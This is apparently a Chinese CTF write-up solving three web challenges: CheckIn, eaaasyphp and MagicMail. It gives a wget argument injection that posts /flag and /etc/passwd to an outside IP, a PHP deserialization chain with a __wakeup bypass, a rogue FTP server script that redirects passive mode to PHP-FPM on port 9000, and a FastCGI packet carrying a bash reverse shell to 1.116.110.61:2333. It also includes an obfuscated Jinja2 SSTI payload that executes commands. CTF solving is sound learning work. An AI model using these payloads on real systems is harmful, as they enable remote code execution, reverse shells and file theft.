# 前言
两道web PHP-FPM+FTP+反序列化
CheckIn
给了源码 go的网站,看源码找到利用点,从第二个参数开始当作wget 参数

看一下路由:

Payload:
wget –post-file=/etc/passwd http://ip:port
/wget?argv=1&argv=–post-file&argv=/flag&argv=http://1.116.110.61:2333/
eaaasyphp
<?php
class Check { public static $str1 = false; public static $str2 = false; }
class Esle { public function __wakeup() { Check::$str1 = true; } }
class Hint {
public function __wakeup(){ $this->hint = "no hint"; }
public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } }
class Bunny {
public function __toString() { if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } } }
class Welcome { public function __invoke() { Check::$str2 = true; return "Welcome" . $this->username; } }
class Bypass {
public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } } }
if (isset($_GET['code'])) { unserialize($_GET['code']); } else { highlight_file(__FILE__); }
|
以为是简单的写shell,然后发现没有写入的权限
先看一下phpinfo的信息
Payload:
绕过__wakeup,按网上说PHP7 < 7.0.10当反序列化时变量个数与实际不符是会绕过 但是这道题目版本是7.2 将0修改为其他整数时是绕过失败的,但是改为负数即可绕过

写shell失败,结合file_put_contents
可以尝试利用 ftp的被动模式来攻击fpm
思路
:
如果目标主机上正在运行着 PHP-FPM
,并且有一个 file_put_contents()
函数的参数是可控的,我们上面是利用了gopher://
协议,但是 file_put_contents()函数并不支持他
,这里可以使用的是 ftp协议
这里使用的是 FTP 协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件,服务器会通知客户端将文件的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000
,这样就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF
Fpm的利用分析
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌 (leavesongs.com)
ftp的两种模式
重新学习FTP与php-FPM的RCE - 安全客,安全资讯平台 (anquanke.com)
ftp打内网:
如何用 FTP 被动模式打穿内网 (suphp.cn)
通过一道CTF题学习php-fpm攻击_白帽子技术/思路_i春秋社区-分享你的技术
浅析php-fpm的攻击方式 - 先知社区
PHP-FPM 漏洞利用笔记 - H0t-A1r-B4llo0n
解题:
1.搭建恶意ftp服务器
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 123)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n')
conn.send(b'331 Please specify the password.\n')
conn.send(b'230 Login successful.\n')
conn.send(b'200 Switching to Binary mode.\n')
conn.send(b'550 Could not get the file size.\n')
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n') conn.close()
|

2.利用gopher生成向fpm发送的数据包:
bash一句话到2333端口

截取 _ 后面的内容
3.填充到poc中
<?php
class Check { public static $str1 = false; public static $str2 = false; }
class Esle { public function __wakeup() { Check::$str1 = true; } }
class Bunny {
public function __toString() { if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } } else { throw new Error("Error"); } } }
class Welcome { public function __invoke() { Check::$str2 = true; return "Welcome" . $this->username; } }
class Bypass {
public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } } }
$a = new Esle(); $a->tmp = new Bypass(); $a->tmp->str4 = new Welcome(); $a->tmp->str4->username = new Bunny(); $a->tmp->str4->username->filename = 'ftp://aaa@1.116.110.61:123/123'; $a->tmp->str4->username->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/1.116.110.61/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"); echo urlencode(serialize($a));
|
ftp格式:
ftp://aaa@1.116.110.61:123/123
|
code参数传过去 getshell

MagicMail
Python开启smtp服务

设置smtp服务

测试ssti


Base64解码:

payload:
以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用
{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20/flag")|attr("read")()}}
|